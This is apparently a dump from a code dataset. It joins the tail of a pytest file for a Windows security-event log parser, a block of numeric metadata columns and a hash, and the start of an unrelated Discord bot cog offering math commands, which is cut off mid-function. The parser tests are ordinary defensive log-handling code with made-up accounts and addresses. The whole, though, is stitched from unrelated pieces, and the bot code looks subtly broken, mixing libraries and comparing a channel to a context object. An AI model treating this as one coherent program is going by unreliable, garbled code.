assert parsed_rec["id"] == "cf4876f3-716c-415c-994e-84acda054c9c"
assert parsed_rec["eventcode"] == "4771"
assert parsed_rec["account_information_security_id"] == "localhost.com\lab"
assert parsed_rec["account_information_account_name"] == "lab"
assert parsed_rec["service_information_service_name"] == "user/localhost.com"
assert parsed_rec["network_information_client_address"] == "100.20.1.70"
assert parsed_rec["network_information_client_port"] == "60284"
assert parsed_rec["additional_information_ticket_options"] == "0x40800000"
assert parsed_rec["additional_information_failure_code"] == "0x18"
assert parsed_rec["additional_information_pre_authentication_type"] == "2"
assert parsed_rec["certificate_information_certificate_issuer_name"] == ""
assert parsed_rec["certificate_information_certificate_serial_number"] == ""
assert parsed_rec["certificate_information_certificate_thumbprint"] == ""
def validate_4781(parsed_rec):
assert parsed_rec["time"] == "09/27/2018 05:15:34 am"
assert parsed_rec["id"] == "052b3a64-f1bd-4884-8e48-30b553bc495a"
assert parsed_rec["eventcode"] == "4781"
assert parsed_rec["subject_security_id"] == "acme\\administrator"
assert parsed_rec["subject_account_domain"] == "localhost.com"
assert parsed_rec["subject_account_name"] == "test@localhost.com"
assert parsed_rec["subject_logon_id"] == "0x1f40f"
assert parsed_rec["target_account_security_id"] == "acme\\emp-nbonaparte"
assert parsed_rec["target_account_account_domain"] == "acme"
assert parsed_rec["target_account_old_account_name"] == "nbonaparte"
assert parsed_rec["target_account_new_account_name"] == "emp-nbonaparte"
assert parsed_rec["additional_information_privileges"] == "-"
def validate_4782(parsed_rec):
assert parsed_rec["time"] == "09/27/2018 05:15:34 am"
assert parsed_rec["id"] == "052b3a64-f1bd-4884-8e48-30b553bc495a"
assert parsed_rec["eventcode"] == "4782"
assert parsed_rec["subject_security_id"] == "acme\\administrator"
assert parsed_rec["subject_account_domain"] == "localhost.com"
assert parsed_rec["subject_account_name"] == "test@localhost.com"
assert parsed_rec["subject_logon_id"] == "0x1f40f"
assert parsed_rec["target_account_account_domain"] == "acme"
assert parsed_rec["target_account_account_name"] == "nbonaparte"
def validate_4647(parsed_rec):
assert parsed_rec["time"] == "09/27/2018 05:15:34 am"
assert parsed_rec["id"] == "052b3a64-f1bd-4884-8e48-30b553bc495a"
assert parsed_rec["eventcode"] == "4647"
assert parsed_rec["subject_security_id"] == "anonymous logon"
assert parsed_rec["subject_account_name"] == "appservice"
assert parsed_rec["subject_account_domain"] == "domain001"
assert parsed_rec["subject_logon_id"] == "0x27b9013"
def validate_4634(parsed_rec):
assert parsed_rec["time"] == "09/27/2018 05:15:34 am"
assert parsed_rec["id"] == "052b3a64-f1bd-4884-8e48-30b553bc495a"
assert parsed_rec["eventcode"] == "4634"
assert parsed_rec["subject_security_id"] == "anonymous logon"
assert parsed_rec["subject_account_name"] == "appservice"
assert parsed_rec["subject_account_domain"] == "domain001"
assert parsed_rec["subject_logon_id"] == "0x27b9013"
assert parsed_rec["logon_type"] == "3"
def validate_4648(parsed_rec):
assert parsed_rec["time"] == "09/27/2018 05:15:34 am"
assert parsed_rec["id"] == "052b3a64-f1bd-4884-8e48-30b553bc495a"
assert parsed_rec["eventcode"] == "4648"
assert parsed_rec["subject_account_name"] == "administrator"
assert parsed_rec["subject_account_domain"] == "win-r9h529rio4y"
assert parsed_rec["subject_logon_id"] == "0x1ba0e"
assert parsed_rec["subject_logon_guid"] == "{00000000-0000-0000-0000-000000000000}"
assert (
parsed_rec["account_whose_credentials_were_used_account_name"] == "rsmith@mtg.com"
)
assert (
parsed_rec["account_whose_credentials_were_used_account_domain"] == "win-r9h529rio4y"
)
assert (
parsed_rec["account_whose_credentials_were_used_logon_guid"] == "{00000000-0000-0000-0000-000000000000}"
)
assert parsed_rec["target_server_target_server_name"] == "sp01.icemail.com"
assert parsed_rec["target_server_additional_information"] == "sp01.icemail.com"
assert parsed_rec["process_information_process_id"] == "0x77c"
assert (
parsed_rec["process_information_process_name"] == "c:\program files\internet explorer\iexplore.exe"
)
assert parsed_rec["network_information_network_address"] == "-"
assert parsed_rec["network_information_port"] == "-"
def validate_4672(parsed_rec):
assert parsed_rec["time"] == "09/27/2018 10:52:50 am"
assert parsed_rec["id"] == "052b3a64-f1bd-4884-8e48-30b553bc495a"
assert parsed_rec["eventcode"] == "4672"
assert parsed_rec["time"] == "09/27/2018 10:52:50 am"
assert parsed_rec["id"] == "052b3a64-f1bd-4884-8e48-30b553bc495a"
assert parsed_rec["eventcode"] == "4672"
assert parsed_rec["subject_security_id"] == "devuser"
assert parsed_rec["subject_account_name"] == "user"
assert parsed_rec["subject_account_domain"] == "dev"
assert parsed_rec["subject_logon_id"] == "0x800a513d"
assert (
parsed_rec["privileges"] == "sesecurityprivilege|sebackupprivilege|serestoreprivilege|setakeownershipprivilege|sedebugprivilege|sesystemenvironmentprivilege|seloaddriverprivilege|seimpersonateprivilege"
)
def validate_4673(parsed_rec):
assert parsed_rec["time"] == "04/30/2018 05:13:59 pm"
assert parsed_rec["id"] == "sdgfhsdfhj-3245-dsf"
assert parsed_rec["eventcode"] == "4673"
assert parsed_rec["subject_security_id"] == "nt authority\\system"
assert parsed_rec["subject_account_domain"] == "test.com"
assert parsed_rec["subject_account_name"] == "fvjbvfjbvf$"
assert parsed_rec["subject_logon_id"] == "0x3e7"
assert (
parsed_rec["service_server"] == "nt local security authority / authentication service"
)
assert parsed_rec["service_service_name"] == "lsaregisterlogonprocess()"
assert parsed_rec["process_process_id"] == "0x234"
assert parsed_rec["process_process_name"] == "c:\windows\system32\lsass.exe"
assert parsed_rec["privileges"] == "setcbprivilege"
def validate_4722(parsed_rec):
assert parsed_rec["time"] == "09/27/2018 09:56:10 am"
assert parsed_rec["id"] == "tdr5d-fjfgg-687bv-klhk"
assert parsed_rec["eventcode"] == "4722"
assert parsed_rec["subject_security_id"] == "test.com\\dhgfckkcg"
assert parsed_rec["subject_account_domain"] == "test.com"
assert parsed_rec["subject_account_name"] == "dhgfckkcg"
assert parsed_rec["subject_logon_id"] == "0x2d55e5ef7"
assert parsed_rec["target_account_security_id"] == "test.com\\hgcghjj"
assert parsed_rec["target_account_account_domain"] == "test.com"
assert parsed_rec["target_account_account_name"] == "hgcghjj"
def validate_4720(parsed_rec):
assert parsed_rec["time"] == "09/27/2018 09:56:10 am"
assert parsed_rec["id"] == "tdr5d-fjfgg-687bv-klhk"
assert parsed_rec["eventcode"] == "4720"
assert parsed_rec["subject_security_id"] == "acme-fr\administrator"
assert parsed_rec["subject_account_domain"] == "acme-fr"
assert parsed_rec["subject_account_name"] == "administrator"
assert parsed_rec["subject_logon_id"] == "0x20f9d"
assert parsed_rec["new_account_security_id"] == "acme-fr\john.lockeaccount"
assert parsed_rec["new_account_account_name"] == "john.locke"
assert parsed_rec["new_account_domain_name"] == "acme-fr"
assert parsed_rec["attributes_sam_account_name"] == "john.locke"
assert parsed_rec["attributes_display_name"] == "john locke"
assert parsed_rec["attributes_user_principal_name"] == "john.locke@acme-fr.local"
assert parsed_rec["attributes_home_directory"] == "-"
assert parsed_rec["attributes_home_drive"] == "-"
assert parsed_rec["attributes_script_path"] == "-"
assert parsed_rec["attributes_profile_path"] == "-"
assert parsed_rec["attributes_user_workstations"] == "-"
assert parsed_rec["attributes_password_last_set"] == "<never>"
assert parsed_rec["attributes_account_expires"] == "<never>"
assert parsed_rec["attributes_primary_group_id"] == "513"
assert parsed_rec["attributes_allowed_to_delegate_to"] == "-"
assert parsed_rec["attributes_old_uac_value"] == "0x0"
assert parsed_rec["attributes_new_uac_value"] == "0x15"
assert (
parsed_rec["attributes_user_account_control"] == "account disabled|'password not required' - enabled|'normal account' - enable"
)
assert parsed_rec["attributes_user_parameters"] == "-"
assert parsed_rec["attributes_sid_history"] == "-"
assert parsed_rec["attributes_logon_hours"] == "<value not set>"
assert parsed_rec["additional_information_privileges"] == "-"
def validate_4723(parsed_rec):
assert parsed_rec["time"] == "09/27/2018 10:24:34 am"
assert parsed_rec["id"] == "tdr5d-fjfgg-687bv-klhk"
assert parsed_rec["eventcode"] == "4723"
assert parsed_rec["subject_security_id"] == "test.com\\auser"
assert parsed_rec["subject_account_domain"] == "test.com"
assert parsed_rec["subject_account_name"] == "auser"
assert parsed_rec["subject_logon_id"] == "0x258440926"
assert parsed_rec["target_account_security_id"] == "test.com\\auser"
assert parsed_rec["target_account_account_domain"] == "test.com"
assert parsed_rec["target_account_account_name"] == "auser"
assert parsed_rec["additional_information_privileges"] == "-"
def validate_4724(parsed_rec):
assert parsed_rec["time"] == "09/27/2018 10:24:34 am"
assert parsed_rec["id"] == "tdr5d-fjfgg-687bv-klhk"
assert parsed_rec["eventcode"] == "4724"
assert parsed_rec["subject_security_id"] == "test.com\\auser"
assert parsed_rec["subject_account_domain"] == "test.com"
assert parsed_rec["subject_account_name"] == "auser"
assert parsed_rec["subject_logon_id"] == "0x258440926"
assert parsed_rec["target_account_security_id"] == "test.com\\auser"
assert parsed_rec["target_account_account_domain"] == "test.com"
assert parsed_rec["target_account_account_name"] == "auser"
def validate_4725(parsed_rec):
assert parsed_rec["time"] == "09/27/2018 10:24:34 am"
assert parsed_rec["id"] == "tdr5d-fjfgg-687bv-klhk"
assert parsed_rec["eventcode"] == "4725"
assert parsed_rec["subject_security_id"] == "test.com\\auser"
assert parsed_rec["subject_account_domain"] == "test.com"
assert parsed_rec["subject_account_name"] == "auser"
assert parsed_rec["subject_logon_id"] == "0x258440926"
assert parsed_rec["target_account_security_id"] == "test.com\\auser"
assert parsed_rec["target_account_account_domain"] == "test.com"
assert parsed_rec["target_account_account_name"] == "auser"
def validate_4726(parsed_rec):
assert parsed_rec["time"] == "09/27/2018 10:24:34 am"
assert parsed_rec["id"] == "tdr5d-fjfgg-687bv-klhk"
assert parsed_rec["eventcode"] == "4726"
assert parsed_rec["subject_security_id"] == "test.com\\auser"
assert parsed_rec["subject_account_domain"] == "test.com"
assert parsed_rec["subject_account_name"] == "auser"
assert parsed_rec["subject_logon_id"] == "0x258440926"
assert parsed_rec["target_account_security_id"] == "test.com\\auser"
assert parsed_rec["target_account_account_domain"] == "test.com"
assert parsed_rec["target_account_account_name"] == "auser"
assert parsed_rec["additional_information_privileges"] == "-"
def validate_4732(parsed_rec):
assert parsed_rec["time"] == "09/19/2018 06:18:24 am"
assert parsed_rec["id"] == "tdr5d-fjfgg-687bv-klhk"
assert parsed_rec["eventcode"] == "4732"
assert parsed_rec["subject_security_id"] == "nt authority\system"
assert parsed_rec["subject_account_domain"] == "localhost.com"
assert parsed_rec["subject_account_name"] == "testuser$"
assert parsed_rec["subject_logon_id"] == "0x3e7"
assert parsed_rec["member_security_id"] == "testuser\offer"
assert parsed_rec["member_account_name"] == "-"
assert parsed_rec["group_security_id"] == "testuser\offer remote assistance helpers"
assert parsed_rec["group_group_name"] == "offer remote assistance helpers"
assert parsed_rec["group_group_domain"] == "testuser"
assert parsed_rec["additional_information_privileges"] == "-"
def validate_4738(parsed_rec):
assert parsed_rec["time"] == "05/01/2018 05:41:37 am"
assert parsed_rec["id"] == "tdr5d-fjfgg-687bv-klhk"
assert parsed_rec["eventcode"] == "4738"
assert parsed_rec["subject_security_id"] == "nt authority\system"
assert parsed_rec["subject_account_domain"] == "prod"
assert parsed_rec["subject_account_name"] == "esfdhf06$"
assert parsed_rec["subject_logon_id"] == "0x3e7"
assert parsed_rec["target_account_security_id"] == "esfdhf06\\atble"
assert parsed_rec["target_account_account_domain"] == "esfdhf06"
assert parsed_rec["target_account_account_name"] == "atble"
assert parsed_rec["additional_information_privileges"] == "-"
assert parsed_rec["changed_attributes_sam_account_name"] == "atble"
assert parsed_rec["changed_attributes_home_directory"] == "<value not set>"
assert parsed_rec["changed_attributes_primary_group_id"] == "513"
assert parsed_rec["changed_attributes_user_principal_name"] == "-"
assert parsed_rec["changed_attributes_profile_path"] == "<value not set>"
assert parsed_rec["changed_attributes_user_workstations"] == "<value not set>"
assert parsed_rec["changed_attributes_user_parameters"] == "-"
assert parsed_rec["changed_attributes_script_path"] == "<value not set>"
assert parsed_rec["changed_attributes_display_name"] == "mike atble"
assert parsed_rec["changed_attributes_home_drive"] == "<value not set>"
assert parsed_rec["changed_attributes_new_uac_value"] == "0x210"
assert parsed_rec["changed_attributes_logon_hours"] == "all"
assert parsed_rec["changed_attributes_account_expires"] == "<never>"
assert parsed_rec["changed_attributes_old_uac_value"] == "0x210"
assert parsed_rec["changed_attributes_password_last_set"] == "5/1/2018 5:41:37 am"
assert parsed_rec["changed_attributes_allowedtodelegateto"] == "-"
assert parsed_rec["changed_attributes_user_account_control"] == "-"
assert parsed_rec["changed_attributes_sid_history"] == "-"
def validate_4740(parsed_rec):
assert parsed_rec["time"] == "09/28/2018 01:53:37 am"
assert parsed_rec["id"] == "tdr5d-fjfgg-687bv-klhk"
assert parsed_rec["eventcode"] == "4740"
assert parsed_rec["subject_security_id"] == "nt authority\system"
assert parsed_rec["subject_account_domain"] == "nvdmz"
assert parsed_rec["subject_account_name"] == "sdgbjsd02$"
assert parsed_rec["subject_logon_id"] == "0x3e7"
assert parsed_rec["account_locked_out_security_id"] == "sdgbjsd02\guest"
assert parsed_rec["account_locked_out_account_name"] == "guest"
assert parsed_rec["additional_information_caller_computer_name"] == "sdgbjsd01"
def validate_4743(parsed_rec):
assert parsed_rec["time"] == "09/27/2018 10:24:34 am"
assert parsed_rec["id"] == "tdr5d-fjfgg-687bv-klhk"
assert parsed_rec["eventcode"] == "4743"
assert parsed_rec["subject_security_id"] == "test.com\\auser"
assert parsed_rec["subject_account_domain"] == "test.com"
assert parsed_rec["subject_account_name"] == "auser"
assert parsed_rec["subject_logon_id"] == "0x258440926"
assert parsed_rec["target_account_security_id"] == "test.com\\auser"
assert parsed_rec["target_account_account_domain"] == "test.com"
assert parsed_rec["target_account_account_name"] == "auser"
assert parsed_rec["additional_information_privileges"] == "-"
def validate_4756(parsed_rec):
assert parsed_rec["time"] == "09/19/2018 06:18:24 am"
assert parsed_rec["id"] == "tdr5d-fjfgg-687bv-klhk"
assert parsed_rec["eventcode"] == "4756"
assert parsed_rec["subject_security_id"] == "nt authority\\system"
assert parsed_rec["subject_account_domain"] == "localhost.com"
assert parsed_rec["subject_account_name"] == "testuser$"
assert parsed_rec["subject_logon_id"] == "0x3e7"
assert parsed_rec["member_security_id"] == "testuser\offer"
assert parsed_rec["member_account_name"] == "-"
assert parsed_rec["group_security_id"] == "testuser\offer remote assistance helpers"
assert parsed_rec["group_group_name"] == "offer remote assistance helpers"
assert parsed_rec["group_group_domain"] == "testuser"
assert parsed_rec["additional_information_privileges"] == "-"
def validate_4767(parsed_rec):
assert parsed_rec["time"] == "09/27/2018 10:24:34 am"
assert parsed_rec["id"] == "tdr5d-fjfgg-687bv-klhk"
assert parsed_rec["eventcode"] == "4767"
assert parsed_rec["subject_security_id"] == "test.com\\auser"
assert parsed_rec["subject_account_domain"] == "test.com"
assert parsed_rec["subject_account_name"] == "auser"
assert parsed_rec["subject_logon_id"] == "0x258440926"
assert parsed_rec["target_account_security_id"] == "test.com\\auser"
assert parsed_rec["target_account_account_domain"] == "test.com"
assert parsed_rec["target_account_account_name"] == "auser"
def validate_4768(parsed_rec):
assert parsed_rec["time"] == "09/27/2018 09:08:02 am"
assert parsed_rec["id"] == "asd-eter-34235-fgd-346"
assert parsed_rec["eventcode"] == "4768"
assert parsed_rec["network_information_client_address"] == "::ffff:10.20.90.30"
assert parsed_rec["network_information_client_port"] == "6349"
assert parsed_rec["service_information_service_name"] == "asdfgrvk"
assert parsed_rec["service_information_service_id"] == "localhost.com\\asdfgrvk"
assert parsed_rec["account_information_account_name"] == "healthmailbox06ca30c"
assert parsed_rec["account_information_supplied_realm_name"] == "localhost.com"
assert (
parsed_rec["account_information_user_id"] == "localhost.com\healthmailbox06ca30c"
)
assert parsed_rec["additional_information_result_code"] == "0x0"
assert parsed_rec["additional_information_ticket_options"] == "0x40810010"
assert parsed_rec["additional_information_ticket_encryption_type"] == "0x12"
assert parsed_rec["additional_information_pre_authentication_type"] == "2"
assert parsed_rec["certificate_information_certificate_issuer_name"] == ""
assert parsed_rec["certificate_information_certificate_serial_number"] == ""
assert parsed_rec["certificate_information_certificate_thumbprint"] == ""
def unknown_record_type(parsed_rec):
raise Exception("Unknown eventcode appeared")
VALIDATE_DICT = {
"4624": validate_4624,
"4625": validate_4625,
"4634": validate_4634,
"4647": validate_4647,
"4648": validate_4648,
"4672": validate_4672,
"4673": validate_4673,
"4720": validate_4720,
"4722": validate_4722,
"4723": validate_4723,
"4724": validate_4724,
"4725": validate_4725,
"4726": validate_4726,
"4732": validate_4732,
"4738": validate_4738,
"4740": validate_4740,
"4743": validate_4743,
"4756": validate_4756,
"4767": validate_4767,
"4768": validate_4768,
"4769": validate_4769,
"4770": validate_4770,
"4771": validate_4771,
"4781": validate_4781,
"4782": validate_4782,
"4798": validate_4798,
"5156": validate_5156,
"5157": validate_5157,
}
def test_windows_event_parser():
wep = WindowsEventParser()
test_input_df = cudf.DataFrame()
raw_colname = "_raw"
test_input_df[raw_colname] = TEST_DATA
test_output_df = wep.parse(test_input_df, raw_colname)
for parsed_rec in test_output_df.to_records():
eventcode = parsed_rec["eventcode"]
validate_func = VALIDATE_DICT.get(eventcode, unknown_record_type)
validate_func(parsed_rec)
def test2_windows_event_parser():
wep = WindowsEventParser(interested_eventcodes=["5156"])
test_input_df = cudf.DataFrame()
raw_colname = "_raw"
test_input_df[raw_colname] = TEST_DATA
test_output_df = wep.parse(test_input_df, raw_colname)
parsed_rec = test_output_df.to_records()[0]
assert parsed_rec["time"] == "04/03/2019 11:58:59 am"
assert parsed_rec["id"] == "c3f48bba-90a1-4999-84a6-4da9d964d31d"
assert parsed_rec["eventcode"] == "5156"
assert parsed_rec["application_information_process_id"] == "4"
assert parsed_rec["application_information_application_name"] == "system"
assert parsed_rec["network_information_direction"] == "inbound"
assert parsed_rec["network_information_source_address"] == "100.20.100.20"
assert parsed_rec["network_information_source_port"] == "138"
assert parsed_rec["network_information_destination_address"] == "100.20.100.30"
assert parsed_rec["network_information_destination_port"] == "138"
assert parsed_rec["network_information_protocol"] == "17"
assert parsed_rec["filter_information_filter_run_time_id"] == "0"
assert parsed_rec["filter_information_layer_name"] == "receive/accept"
assert parsed_rec["filter_information_layer_run_time_id"] == "44"
def test3_windows_event_parser():
expected_error = KeyError(
"Regex for eventcode 24 is not available in the config file. Please choose from ['4624', '4625', '4634', '4647', '4648', '4672', '4673', '4720', '4722', '4723', '4724', '4725', '4726', '4732', '4738', '4740', '4743', '4756', '4767', '4768', '4769', '4770', '4771', '4781', '4782', '4798', '5156', '5157']"
)
with pytest.raises(KeyError) as actual_error:
WindowsEventParser(interested_eventcodes=["5156", "24"])
assert actual_error == expected_error
| 110.138356
| 5,743
| 0.73376
| 11,041
| 80,401
| 5.169459
| 0.079975
| 0.082627
| 0.129038
| 0.036618
| 0.869928
| 0.84009
| 0.806854
| 0.759496
| 0.736176
| 0.710141
| 0
| 0.067214
| 0.091616
| 80,401
| 729
| 5,744
| 110.289438
| 0.714274
| 0.006978
| 0
| 0.512346
| 0
| 0.04784
| 0.746211
| 0.50585
| 0
| 0
| 0.003833
| 0
| 0.759259
| 1
| 0.049383
| false
| 0.013889
| 0.00463
| 0
| 0.054012
| 0.006173
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
d67c96c64c1aa309bc55bf076d06d377d89363ba
| 115,857
|
py
|
Python
|
cogs/nerd.py
|
alexyy802/chad-the-discord-bot
|
c1d121fcfa278f5cd0fa0242c4b0c760d1eebb85
|
[
"Unlicense",
"MIT"
] | 1
|
2021-12-20T16:15:20.000Z
|
2021-12-20T16:15:20.000Z
|
cogs/nerd.py
|
alexyy802/chad-the-discord-bot
|
c1d121fcfa278f5cd0fa0242c4b0c760d1eebb85
|
[
"Unlicense",
"MIT"
] | 1
|
2021-10-04T16:00:35.000Z
|
2021-10-04T16:00:35.000Z
|
cogs/nerd.py
|
alexyy802/chad-the-discord-bot
|
c1d121fcfa278f5cd0fa0242c4b0c760d1eebb85
|
[
"Unlicense",
"MIT"
] | 2
|
2021-10-04T16:16:44.000Z
|
2021-11-15T19:19:07.000Z
|
import os
import nextcord
from nextcord.ext import commands
import math
import wolframalpha
from modules import calculation_filter as cf
from discord_slash import cog_ext, SlashContext
from discord_slash.utils.manage_commands import create_option, create_choice
from discord_slash.model import ButtonStyle
from discord_slash.utils.manage_components import create_button, create_actionrow
from discord_slash.utils.manage_components import wait_for_component
class Nerd(commands.Cog):
def __init__(self, bot):
self.bot = bot
@cog_ext.cog_subcommand(base="math",name="add", description="Adds numbers for you.",
options=[
create_option(name="numbers",
description="The numbers you want to add",
option_type=3,
required=True)])
async def _add(self, ctx: SlashContext, *, numbers=""):
if numbers == "":
await ctx.send(embed=nextcord.Embed(title=f"Not this again",
description=f"I need numbers to add and not thin air!",
color=nextcord.Color.random()))
return
split = numbers.split(' ')
if len(split) == 1:
await ctx.send(embed=nextcord.Embed(title=f"To add numbers,",
description=f"you need number**s**\nEmphasis on the 's'",
color=nextcord.Color.random()))
return
if len(split) > 10:
await ctx.send(embed=nextcord.Embed(title=f"I shall not add these many numbers",
description=f"My limit is not more than 10 numbers at a time.\nCause I have better things to do.",
color=nextcord.Color.random()))
return
ans = await cf.asmd(ctx, split, '+')
if ans is None:
return
string = split[0]
count = True
for i in split:
if count is True:
count = False
continue
string = string + " + " + i
embed = nextcord.Embed(title=str(ans),
description=f"This is the answer to {string}.",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@commands.command()
async def add(self, ctx, *, arguments=""):
if arguments == "":
await ctx.send(embed=nextcord.Embed(title=f"Not this again",
description=f"I need numbers to add and not thin air!",
color=nextcord.Color.random()))
return
split = arguments.split(' ')
if len(split) == 1:
await ctx.send(embed=nextcord.Embed(title=f"To add numbers,",
description=f"you need number**s**\nEmphasis on the 's'",
color=nextcord.Color.random()))
return
if len(split) > 10:
await ctx.send(embed=nextcord.Embed(title=f"I shall not add these many numbers",
description=f"My limit is not more than 10 numbers at a time.\nCause I have better things to do.",
color=nextcord.Color.random()))
return
ans = await cf.asmd(ctx, split, '+')
if ans is None:
return
string = split[0]
count = True
for i in split:
if count is True:
count = False
continue
string = string + " + " + i
embed = nextcord.Embed(title=str(ans),
description=f"This is the answer to {string}.",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@cog_ext.cog_subcommand(base="math",name="substract", description="Substract numbers for you.",
options=[
create_option(name="numbers",
description="The numbers you want to substract",
option_type=3,
required=True)])
async def _subtract(self, ctx: SlashContext, *, numbers=""):
if numbers == "":
await ctx.send(embed=nextcord.Embed(title=f"Not this again again",
description=f"I need numbers to subtract and not thin air!",
color=nextcord.Color.random()))
return
split = numbers.split(' ')
if len(split) == 1:
embed = nextcord.Embed(title=f"To subtract numbers,",
description=f"you need number**s**\nEmphasis on the 's'",
color=nextcord.Color.random())
embed.set_footer(text="And I thought you would have learned by now.")
await ctx.send(embed=embed)
return
elif len(split) > 2:
await ctx.send(embed=nextcord.Embed(title=f"What you ask is just not possible",
description=f"I just can't subtract {len(split)} numbers from each other!",
color=nextcord.Color.random()))
return
ans = await cf.asmd(ctx, split, '-')
if ans is None:
return
embed = nextcord.Embed(title=str(ans),
description=f"This is the answer to {split[0]} - {split[1]}.",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@commands.command(aliases=['subs', 'substract'])
async def subtract(self, ctx, *, arguments=""):
if arguments == "":
await ctx.send(embed=nextcord.Embed(title=f"Not this again again",
description=f"I need numbers to subtract and not thin air!",
color=nextcord.Color.random()))
return
split = arguments.split(' ')
if len(split) == 1:
embed = nextcord.Embed(title=f"To subtract numbers,",
description=f"you need number**s**\nEmphasis on the 's'",
color=nextcord.Color.random())
embed.set_footer(text="And I thought you would have learned by now.")
await ctx.send(embed=embed)
return
elif len(split) > 2:
await ctx.send(embed=nextcord.Embed(title=f"What you ask is just not possible",
description=f"I just can't subtract {len(split)} numbers from each other!",
color=nextcord.Color.random()))
return
ans = await cf.asmd(ctx, split, '-')
if ans is None:
return
embed = nextcord.Embed(title=str(ans),
description=f"This is the answer to {split[0]} - {split[1]}.",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@cog_ext.cog_subcommand(base="math",name="multiply", description="Multiplies numbers for you.",
options=[
create_option(name="numbers",
description="The numbers you want to multiply",
option_type=3,
required=True)])
async def _multiply(self, ctx: SlashContext, *, numbers=""):
if numbers == "":
await ctx.send(embed=nextcord.Embed(title=f"Not this again again again",
description=f"I need numbers to multiply and not thin air!",
color=nextcord.Color.random()))
return
split = numbers.split(' ')
if len(split) == 1:
await ctx.send(embed=nextcord.Embed(title=f"To multiply numbers,",
description=f"you need number**s**\nEmphasis on the 's'",
color=nextcord.Color.random()))
return
if len(split) > 10:
await ctx.send(embed=nextcord.Embed(title=f"I shall not multiply these many numbers",
description=f"My limit is not more than 10 numbers at a time.\nCause I have better things to do.",
color=nextcord.Color.random()))
return
ans = await cf.asmd(ctx, split, '*')
if ans is None:
return
string = split[0]
count = True
for i in split:
if count is True:
count = False
continue
string = string + " * " + i
embed = nextcord.Embed(title=str(ans),
description=f"This is the answer to {string}.",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@commands.command(aliases=['multi'])
async def multiply(self, ctx, *, arguments=""):
if arguments == "":
await ctx.send(embed=nextcord.Embed(title=f"Not this again again again",
description=f"I need numbers to multiply and not thin air!",
color=nextcord.Color.random()))
return
split = arguments.split(' ')
if len(split) == 1:
await ctx.send(embed=nextcord.Embed(title=f"To multiply numbers,",
description=f"you need number**s**\nEmphasis on the 's'",
color=nextcord.Color.random()))
return
if len(split) > 10:
await ctx.send(embed=nextcord.Embed(title=f"I shall not multiply these many numbers",
description=f"My limit is not more than 10 numbers at a time.\nCause I have better things to do.",
color=nextcord.Color.random()))
return
ans = await cf.asmd(ctx, split, '*')
if ans is None:
return
string = split[0]
count = True
for i in split:
if count is True:
count = False
continue
string = string + " * " + i
embed = nextcord.Embed(title=str(ans),
description=f"This is the answer to {string}.",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@cog_ext.cog_subcommand(base="math",name="divide", description="Divides numbers for you.",
options=[
create_option(name="numbers",
description="The numbers you want to divide",
option_type=3,
required=True)])
async def _divide(self, ctx, *, numbers=""):
if numbers == "":
await ctx.send(embed=nextcord.Embed(title=f"Not this again again again again",
description=f"I need numbers to divide and not thin air!\nIs this starting to get old?",
color=nextcord.Color.random()))
return
split = numbers.split(' ')
if len(split) == 1:
embed = nextcord.Embed(title=f"To divide numbers,",
description=f"you need number**s**\nEmphasis on the 's'",
color=nextcord.Color.random())
embed.set_footer(text="And I thought you would have learned by now.")
await ctx.send(embed=embed)
return
elif len(split) > 2:
await ctx.send(embed=nextcord.Embed(title=f"What you ask is just not possible",
description=f"I just can't divide {len(split)} numbers from each other!",
color=nextcord.Color.random()))
return
ans = await cf.asmd(ctx, split, '/')
if ans is None:
return
embed = nextcord.Embed(title=str(ans),
description=f"This is the answer to {split[0]} / {split[1]}.",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@commands.command(aliases=['div'])
async def divide(self, ctx, *, arguments=""):
if arguments == "":
await ctx.send(embed=nextcord.Embed(title=f"Not this again again again again",
description=f"I need numbers to divide and not thin air!\nIs this starting to get old?",
color=nextcord.Color.random()))
return
split = arguments.split(' ')
if len(split) == 1:
embed = nextcord.Embed(title=f"To divide numbers,",
description=f"you need number**s**\nEmphasis on the 's'",
color=nextcord.Color.random())
embed.set_footer(text="And I thought you would have learned by now.")
await ctx.send(embed=embed)
return
elif len(split) > 2:
await ctx.send(embed=nextcord.Embed(title=f"What you ask is just not possible",
description=f"I just can't divide {len(split)} numbers from each other!",
color=nextcord.Color.random()))
return
ans = await cf.asmd(ctx, split, '/')
if ans is None:
return
embed = nextcord.Embed(title=str(ans),
description=f"This is the answer to {split[0]} / {split[1]}.",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@cog_ext.cog_slash(name="perimeter", description="Gets the perimeter of certain shapes for you.")
async def _perimeter(self, ctx: SlashContext):
def check(msg):
return msg.author == ctx.author and msg.channel == ctx
buttons = [
create_button(style=ButtonStyle.blue, label="Circle"),
create_button(style=ButtonStyle.red, label="Triangle"),
create_button(style=ButtonStyle.green, label="Quadrilateral")
]
action_row = create_actionrow(*buttons)
await ctx.send(
embed=nextcord.Embed(title="Please choose one of the following options", color=nextcord.Color.random()),
components=[action_row])
response: ComponentContext = await wait_for_component(self.bot, components=action_row)
if response.component['label'] == "Circle":
await ctx.send(embed=nextcord.Embed(title="Please enter the radius", color=nextcord.Color.random()))
r = await self.bot.wait_for("message", check=check)
if r.mentions:
